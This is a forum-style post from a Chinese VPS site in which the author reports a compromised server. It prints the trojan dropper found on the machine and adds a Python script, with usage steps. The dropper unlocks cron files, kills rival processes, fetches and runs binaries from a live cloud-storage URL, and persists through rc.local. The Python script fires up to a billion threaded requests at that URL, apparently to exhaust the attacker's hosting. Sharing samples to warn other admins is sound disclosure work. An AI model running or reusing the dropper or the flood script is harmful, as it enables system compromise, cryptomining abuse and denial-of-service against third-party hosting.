主机参考:VPS测评参考推荐/专注分享VPS服务器优惠信息!若您是商家可以在本站进行投稿,查看详情!此外我们还提供软文收录、PayPal代付、广告赞助等服务,查看详情! |
我们发布的部分优惠活动文章可能存在时效性,购买时建议在本站搜索商家名称可查看相关文章充分了解该商家!若非中文页面可使用Edge浏览器同步翻译!PayPal代付/收录合作 |
- #!/bin/sh
- #version
- watchVersion=”-5e4b58b”
- nodeVersion=”-5e4b58b”
- #dealChattr
- find /etc/cron*|xargs chattr -i
- find /var/spool/cron*|xargs chattr -i
- #directory
- oldDirectory=$(pwd)
- mkdir -p /tmp
- chmod 1777 /tmp
- cd /tmp
- touch /var/tmp/writeable cd /var/tmp/
- touch /dev/shm/writeable cd /dev/shm
- touch ~/writeable cd ~/
- touch $oldDirectory/writeable cd $oldDirectory
- touch /usr/local/bin/writeable cd /usr/local/bin/
- touch /usr/libexec/writeable cd /usr/libexec/
- touch /usr/bin/writeable cd /usr/bin/
- rm -rf /var/tmp/writeable ~/writeable $oldDirectory/writeable /dev/shm/writeable /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
- currentDirectory=$(pwd)
- #killPast
- ps auxf| grep system-watch*| grep -v grep| grep -v system-watch$watchVersion| awk ‘{print $2}’| xargs kill -9
- ps auxf| grep system-node*| grep -v grep| grep -v system-node$nodeVersion| awk ‘{print $2}’| xargs kill -9
- #rm oldVersion
- find system-watch* | grep -v system-watch$watchVersion | xargs rm
- find system-node* | grep -v system-node$nodeVersion | xargs rm
- ps -ef | grep “system-node” | grep -v “grep” | awk ‘{print $2}’ | xargs kill -9
- #watchRun?
- ps auxf | grep system-watch$watchVersion | grep -v grep
- if [ $? -eq 0 ]
- then
- echo “watch running”
- else
- #updateNew
- curl -fsSL https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/watch_linux_`uname -m` -o system-watch$watchVersion || wget https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/watch_linux_`uname -m` -O system-watch$watchVersion
- chmod +x system-watch$watchVersion
- $currentDirectory/system-watch$watchVersion
- fi
- #nodeRun?
- ps auxf | grep system-node$nodeVersion | grep -v grep
- if [ $? -eq 0 ]
- then
- echo “node running”
- else
- #updateNew
- curl -fsSL https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/node_linux_`uname -m` -o system-node$nodeVersion || wget https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/node_linux_`uname -m` -O system-node$nodeVersion
- chmod +x system-node$nodeVersion
- $currentDirectory/system-node$nodeVersion
- fi
- #rcLocal
- if test -d /etc/rc.d/
- then
- echo “centos rc.local”
- sed -i ‘/system-/d’ /etc/rc.d/rc.local
- sed -i ‘/system_/d’ /etc/rc.d/rc.local
- echo $currentDirectory/system-watch$watchVersion &复制代码
python3 木马下载脚本
使用方法
- yum install -y python36 python36-devel screen
- p复制代码
- #coding:utf-8
- import requests
- import threading
- # 并发数
- thread_max = threading.BoundedSemaphore(100)
- curl = requests.session()
- curl.timeout = 120
- curl.headers = {
- ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36’
- }
- class MyThread(threading.Thread):
- def __init__(self):
- # 重写写父类的__init__方法
- super(MyThread, self).__init__()
- self.url = ‘https://nba-1254105488.cos.ap-beijing-1.myqcloud.com/storefile/watch_linux_x86_64’
- def run(self):
- try:
- url = self.url
- if self.download(url):
- print(“下载成功: %s” % url)
- else:
- print(“下载失败: %s” % url)
- except Exception as e:
- print(e)
- pass
- # 任务跑完移除线程
- thread_max.release()
- # 下载
- def download(self, url):
- try:
- curl.get(url)
- return True
- except BaseException as e:
- return False
- # 开始操作
- def start():
- Thread_list = []
- for url in range(1000000000):
- # 如果线程达到最大值则等待前面线程跑完空出线程位置
- thread_max.acquire()
- p = MyThread()
- p.start()
- Thread_list.append(p)
- for i in Thread_list:
- i.join()
- if __name__ == ‘__main__’:
- start()
复制代码
各路大神的回复:
注册: 矿工进驻了吗?
class: 学习了。。楼主分析出是怎么给你挂上去的吗??脚本??
本文由主机参考刊发,转载请注明:机器又被黑了,附上木马安装脚本,大家也自行检查下吧 https://zhujicankao.com/17291.html 这几篇文章你可能也喜欢:
评论前必须登录!
注册